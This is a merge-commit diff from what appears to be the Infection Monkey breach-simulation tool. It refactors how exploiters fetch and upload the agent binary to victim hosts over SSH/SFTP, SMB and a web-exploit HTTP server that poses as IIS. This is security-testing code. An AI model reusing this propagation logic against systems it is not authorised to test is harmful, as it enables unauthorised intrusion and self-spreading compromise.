Merge pull request #1756 from guardicore/1675-agent-repository

Add IAgentRepository to simplify agent download during propagation
This commit is contained in:
Mike Salvatore 2022-03-02 06:42:59 -05:00 committed by GitHub
commit 07658802f3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
21 changed files with 217 additions and 332 deletions

View File

@ -8,7 +8,6 @@ from urllib.parse import urljoin
import requests
from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
@ -258,22 +257,6 @@ class ControlClient(object):
ControlClient.load_control_config()
return not WormConfiguration.alive
@staticmethod
def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit)
)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
@ -291,70 +274,6 @@ class ControlClient(object):
return {"os": {"type": os, "machine": arch}}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server:
return None
try:
dest_file = monkeyfs.virtual_path(filename)
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
download = requests.get( # noqa: DUO123
"https://%s/api/monkey/download/%s"
% (WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
with monkeyfs.open(dest_file, "wb") as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception as exc:
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post( # noqa: DUO123
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host_dict),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get("filename")
if not filename:
return None, None
size = result_json.get("size")
return filename, size
else:
return None, None
except Exception as exc:
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
return None, None
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:

View File

@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from . import IAgentRepository
logger = logging.getLogger(__name__)
@ -67,9 +69,16 @@ class HostExploiter:
)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
def exploit_host(
self,
host,
telemetry_messenger: ITelemetryMessenger,
agent_repository: IAgentRepository,
options: Dict,
):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.agent_repository = agent_repository
self.options = options
self.pre_exploit()

View File

@ -1 +1,3 @@
from .i_agent_repository import IAgentRepository
from .caching_agent_repository import CachingAgentRepository
from .exploiter_wrapper import ExploiterWrapper

View File

@ -0,0 +1,37 @@
import io
from functools import lru_cache
from typing import Mapping
import requests
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from . import IAgentRepository
class CachingAgentRepository(IAgentRepository):
"""
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
agent binary from the island on request. The agent binary is cached so that only one request is
actually sent to the island for each requested binary.
"""
def __init__(self, island_url: str, proxies: Mapping[str, str]):
self._island_url = island_url
self._proxies = proxies
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
return io.BytesIO(self._download_binary_from_island(os))
@lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes:
response = requests.get( # noqa: DUO123
f"{self._island_url}/api/monkey/download/{os}",
verify=False,
proxies=self._proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
response.raise_for_status()
return response.content

View File

@ -3,6 +3,7 @@ from typing import Dict, Type
from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from . import IAgentRepository
from .HostExploiter import HostExploiter
@ -16,17 +17,28 @@ class ExploiterWrapper:
class Inner:
def __init__(
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
self,
exploit_class: Type[HostExploiter],
telemetry_messenger: ITelemetryMessenger,
agent_repository: IAgentRepository,
):
self._exploit_class = exploit_class
self._telemetry_messenger = telemetry_messenger
self._agent_repository = agent_repository
def exploit_host(self, host: VictimHost, options: Dict):
exploiter = self._exploit_class()
return exploiter.exploit_host(host, self._telemetry_messenger, options)
return exploiter.exploit_host(
host, self._telemetry_messenger, self._agent_repository, options
)
def __init__(self, telemetry_messenger: ITelemetryMessenger):
def __init__(
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
):
self._telemetry_messenger = telemetry_messenger
self._agent_repository = agent_repository
def wrap(self, exploit_class: Type[HostExploiter]):
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
return ExploiterWrapper.Inner(
exploit_class, self._telemetry_messenger, self._agent_repository
)

View File

@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
paths = self.get_monkey_paths()
if not paths:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
try:
command = self._build_command(paths["dest_path"], http_path)
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
try:
command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)

View File

@ -0,0 +1,21 @@
import abc
import io
class IAgentRepository(metaclass=abc.ABCMeta):
"""
IAgentRepository provides an interface for other components to access agent binaries. Notably,
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
it can be uploaded to a victim and executed.
"""
@abc.abstractmethod
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
"""
Retrieve the appropriate agent binary from the repository.
:param str os: The name of the operating system on which the agent binary will run
:param str architecture: Reserved
:return: A file-like object for the requested agent binary
:rtype: io.BytesIO
"""
pass

View File

@ -2,7 +2,6 @@ import logging
import os
from typing import List, Optional
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
IPowerShellClient,
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
return is_monkey_copy_successful
def _write_virtual_file_to_local_path(self) -> None:
"""
# TODO: monkeyfs has been removed. Fix this in issue #1740.
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
"""
pass
def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = build_monkey_execution_command(

View File

@ -4,12 +4,11 @@ import time
import paramiko
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
_, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
src_path = get_target_monkey(self.host)
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
if not src_path:
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter):
return self.exploit_result
try:
ftp = ssh.open_sftp()
with ssh.open_sftp() as ftp:
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
agent_binary_file_object,
self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._make_agent_executable(ftp)
self._set_executable_bit_on_agent_binary(ftp)
status = ScanStatus.USED
ftp.close()
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter):
self.telemetry_messenger.send_telemetry(
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
self.options["dropper_target_path_linux"],
)
)
if status == ScanStatus.SCANNED:
@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient):
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
self.telemetry_messenger.send_telemetry(
T1222Telem(

View File

@ -11,18 +11,13 @@ def try_get_target_monkey(host):
def get_target_monkey(host):
from infection_monkey.control import ControlClient
if not host.os.get("type"):
return None
return ControlClient.download_monkey_exe(host)
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
raise NotImplementedError(
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
)
def get_monkey_depth():

View File

@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.transport import LockedHTTPServer
logger = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return (
"http://%s:%s/%s"
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
httpd,
)
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(
@ -49,7 +28,9 @@ class HTTPTools(object):
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
@ -71,12 +52,13 @@ class HTTPTools(object):
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd = LockedHTTPServer(
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
)
httpd.start()
lock.acquire()
return (
"http://%s:%s/%s"
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
httpd,
)

View File

@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMB_DIALECT, SMBConnection
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
@ -20,7 +19,8 @@ class SmbTools(object):
def copy_file(
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
# monkeyfs has been removed. Fix this in issue #1741
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
smb, dialect = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
@ -138,10 +138,13 @@ class SmbTools(object):
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
try:
# monkeyfs has been removed. Fix this in issue #1741
"""
with monkeyfs.open(src_path, "rb") as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
"""
file_uploaded = True
T1105Telem(

View File

@ -292,11 +292,12 @@ class WebRCE(HostExploiter):
if not self.host.os["type"]:
logger.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
if not http_path:
logger.debug("Exploiter failed, http transfer creation failed.")
return False
@ -304,10 +305,10 @@ class WebRCE(HostExploiter):
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
command = self.get_command(paths["dest_path"], http_path, commands)
command = self.get_command(dropper_target_path, http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -316,7 +317,7 @@ class WebRCE(HostExploiter):
if resp is False:
return resp
else:
return {"response": resp, "path": paths["dest_path"]}
return {"response": resp, "path": dropper_target_path}
def change_permissions(self, url, path, command=None):
"""

View File

@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector,
SSHCredentialCollector,
)
from infection_monkey.exploit import ExploiterWrapper
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
@ -200,7 +200,10 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
agent_repoitory = CachingAgentRepository(
f"https://{self._default_server}", ControlClient.proxies
)
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
puppet.load_plugin(
"SSHExploiter",

View File

@ -1,58 +0,0 @@
import os
from io import BytesIO
MONKEYFS_PREFIX = "monkeyfs://"
open_orig = open
class VirtualFile(BytesIO):
_vfs = {} # virtual File-System
def __init__(self, name, mode="r", buffering=None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
if name in VirtualFile._vfs:
super(VirtualFile, self).__init__(self._vfs[name])
else:
super(VirtualFile, self).__init__()
def flush(self):
super(VirtualFile, self).flush()
VirtualFile._vfs[self.name] = self.getvalue()
@staticmethod
def getsize(path):
return len(VirtualFile._vfs[path])
@staticmethod
def isfile(path):
return path in VirtualFile._vfs
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
# noinspection PyShadowingBuiltins
def open(name, mode="r", buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:
return open_orig(name, mode=mode, buffering=buffering)

View File

@ -1,2 +1 @@
from infection_monkey.transport.http import HTTPServer
from infection_monkey.transport.http import LockedHTTPServer

View File

@ -1,5 +1,4 @@
import http.server
import os.path
import select
import socket
import threading
@ -7,7 +6,6 @@ import urllib
from logging import getLogger
from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@ -16,7 +14,8 @@ logger = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
victim_os = ""
agent_repository = None
def version_string(self):
return "Microsoft-IIS/7.5."
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
total += chunk
start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename):
if f.tell() == len(f.getbuffer()):
if self.report_download(self.client_address):
self.close_connection = 1
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
if self.path != "/" + urllib.parse.quote(self.victim_os):
self.send_error(500, "")
return None, 0, 0
try:
f = monkeyfs.open(self.filename, "rb")
f = self.agent_repository.get_agent_binary(self.victim_os)
except IOError:
self.send_error(404, "File not found")
return None, 0, 0
size = monkeyfs.getsize(self.filename)
size = len(f.getbuffer())
start_range = 0
end_range = size
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
)
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
TempHandler.T1105Telem(
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
def __init__(
self,
local_ip,
local_port,
victim_os,
dropper_target_path,
agent_repository,
lock,
max_downloads=1,
):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self._victim_os = victim_os
self._dropper_target_path = dropper_target_path
self._agent_repository = agent_repository
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
victim_os = self._victim_os
agent_repository = self._agent_repository
@staticmethod
def report_download(dest=None):
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename,
self._dropper_target_path,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads:

View File

@ -134,8 +134,7 @@ def init_api_resources(api):
api.add_resource(ConfigurationImport, "/api/configuration/import")
api.add_resource(
MonkeyDownload,
"/api/monkey/download",
"/api/monkey/download/<string:path>",
"/api/monkey/download/<string:host_os>",
)
api.add_resource(NetMap, "/api/netmap")
api.add_resource(Edge, "/api/netmap/edge")

View File

@ -1,63 +1,34 @@
import hashlib
import json
import logging
import os
from pathlib import Path
import flask_restful
from flask import request, send_from_directory
from flask import make_response, send_from_directory
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [
{
"type": "linux",
"filename": "monkey-linux-64",
},
{
"type": "windows",
"filename": "monkey-windows-64.exe",
},
]
AGENTS = {
"linux": "monkey-linux-64",
"windows": "monkey-windows-64.exe",
}
def get_monkey_executable(host_os):
for download in MONKEY_DOWNLOADS:
if host_os == download.get("type"):
logger.info(f"Monkey exec found for os: {host_os}")
return download
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
return None
class UnsupportedOSError(Exception):
pass
class MonkeyDownload(flask_restful.Resource):
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
# Used by monkey. can't secure.
def post(self):
host_json = json.loads(request.data)
host_os = host_json.get("os")
if host_os:
result = get_monkey_executable(host_os.get("type"))
if result:
# change resulting from new base path
executable_filename = result["filename"]
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
if os.path.isfile(real_path):
result["size"] = os.path.getsize(real_path)
return result
return {}
@staticmethod
def get_executable_full_path(executable_filename):
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
return real_path
def get(self, host_os):
try:
path = get_agent_executable_path(host_os)
return send_from_directory(path.parent, path.name)
except UnsupportedOSError as ex:
logger.error(ex)
return make_response({"error": str(ex)}, 404)
@staticmethod
def log_executable_hashes():
@ -65,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
version you have etc.).
"""
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
filenames = set(AGENTS.values())
for filename in filenames:
filepath = MonkeyDownload.get_executable_full_path(filename)
if os.path.isfile(filepath):
filepath = get_executable_full_path(filename)
if filepath.is_file():
with open(filepath, "rb") as monkey_exec_file:
file_contents = monkey_exec_file.read()
logger.debug(
"{} hashes:\nSHA-256 {}".format(
filename, hashlib.sha256(file_contents).hexdigest()
)
)
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
else:
logger.debug("No monkey executable for {}.".format(filepath))
logger.debug(f"No monkey executable for {filepath}")
def get_agent_executable_path(host_os: str) -> Path:
try:
agent_path = get_executable_full_path(AGENTS[host_os])
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
return agent_path
except KeyError:
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
raise UnsupportedOSError(
f'No Agents are available for unsupported operating system "{host_os}"'
)
def get_executable_full_path(executable_filename: str) -> Path:
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename

View File

@ -5,8 +5,8 @@ import stat
import subprocess
from shutil import copyfile
from monkey_island.cc.resources.monkey_download import get_monkey_executable
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
from monkey_island.cc.server_utils.consts import ISLAND_PORT
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
logger = logging.getLogger(__name__)
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
@staticmethod
def run_local_monkey():
# get the monkey executable suitable to run on the server
result = get_monkey_executable(platform.system().lower())
if not result:
return False, "OS Type not found"
try:
src_path = get_agent_executable_path(platform.system().lower())
except Exception as ex:
logger.error(f"Error running agent from island: {ex}")
return False, str(ex)
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
# copy the executable to temp path (don't run the monkey from its current location as it may
# delete itself)

View File

@ -51,7 +51,8 @@ def powershell_exploiter(monkeypatch):
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
# fix this.
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
return pe